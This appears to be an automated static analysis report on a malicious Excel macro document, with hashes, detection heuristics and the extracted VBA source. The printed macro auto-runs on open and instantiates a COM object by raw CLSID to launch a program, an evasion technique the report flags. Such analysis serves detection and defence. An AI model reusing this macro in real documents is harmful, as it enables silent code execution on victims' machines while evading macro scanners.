Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 38e1e30b0a0c4cb7…

MALICIOUS

Office (OOXML)

12.8 KB Created: 2021-06-08 07:44:17 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-20
MD5: 7ff76ecebbff3ea7b33209e9584ecbf3 SHA-1: 735e4476bdc94fc0a9672c0ddcdedd90e9594e62 SHA-256: 38e1e30b0a0c4cb7143d68a1951618e8d3e89581a18aed2108ddb86e7573134b
108 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. This macro uses GetObject to instantiate a COM class by its CLSID ({c08afd90-f2a1-11d1-8455-00a0c91f3880}) and then executes calc.exe. This indicates an attempt to leverage a known COM object for arbitrary code execution.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub AutoOpen()
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute "calc", "", "C:\Windows\System32", Null, 1
  • VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASION
    VBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.
    Matched line in script
    Sub AutoOpen()
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute "calc", "", "C:\Windows\System32", Null, 1
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 788 bytes
SHA-256: 87b2b428c3baf9b5380a6abae2e2df5ace4e93f4cdc3952011bcce7db1eb7aeb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoOpen()
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute "calc", "", "C:\Windows\System32", Null, 1
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13824 bytes
SHA-256: e23916ba426052b503b9511b2165b9e1e8b24b727c7ceb3b81a39435b0f6918d

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